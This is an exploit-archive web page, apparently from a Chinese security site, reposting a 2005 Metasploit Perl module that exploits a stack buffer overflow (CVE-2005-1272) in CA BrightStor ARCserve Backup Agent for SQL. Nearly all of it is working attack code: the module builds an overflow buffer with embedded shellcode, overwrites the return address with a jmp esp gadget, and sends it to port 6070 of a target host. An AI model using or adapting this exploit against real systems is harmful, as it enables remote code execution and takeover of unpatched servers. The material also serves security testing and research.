首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
CA BrightStor ARCserve Backup Agent for SQL Buffer Overflow Exploit
来源:hdm@metasploit.com 作者:H D Moore 发布时间:2005-08-08  

CA BrightStor ARCserve Backup Agent for SQL Buffer Overflow Exploit


##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::cabrightstor_sqlagent;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'CA BrightStor Agent for Microsoft SQL Overflow',
'Version' => '$Revision: 1.4 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'process' },

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 6070],
},

'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a vulnerability in the CA BrightStor
Agent for Microsoft SQL Server. This vulnerability was discovered
by cybertronic[at]gmx.net.
}),

'Refs' =>
[
[ 'CVE', '2005-1272' ],
[ 'BID', '14453' ],
[ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities' ],
[ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239' ],
],

'Targets' =>
[

# This exploit requires a jmp esp for return
['Asbrdcst.dll 12/12/2003', 0x20c11d64],

# ['Windows XP SP2 ntdll.dll', 0x7c941eed],
],

'Keys' => ['brightstor'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

$self->PrintLine("[*] Attempting to exploit target " . $target->[0]);

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

# 3288 bytes max
# 696 == good data (1228 bytes contiguous) @ 0293f5e0
# 3168 == return address
# 3172 == esp @ 0293ff8c (2476 from good data)

my $poof = Pex::Text::EnglishText(3288);

substr($poof, 696, length($shellcode), $shellcode);
substr($poof, 3168, 4, pack('V', $target->[1])); # jmp esp
substr($poof, 3172, 5, "\xe9\x4f\xf6\xff\xff"); # jmp -2476

$self->PrintLine("[*] Sending " .length($poof) . " bytes to remote host.");
$s->Send($poof);

# Closing the socket too early breaks the exploit
$s->Recv(-1, 5);

return;
}

1;


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Veritas Backup Exec For Window
·MySQL Eventum <= 1.5.5 logi
·nbSMTP <= 0.99 util.c Clien
·Quick'n Easy FTP Server DoS
·Ethereal 10.x AFP Protocol Dis
·SPIDynamics WebInspect Cross-A
·CA BrightStor ARCserve Backup
·(MS05-038)Microsoft Internet E
·CA BrightStor ARCserve Backup
·(MS05-041)Microsoft Windows Re
·@Mail multiple variable cross-
·(MS05-038)Microsoft Internet E
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved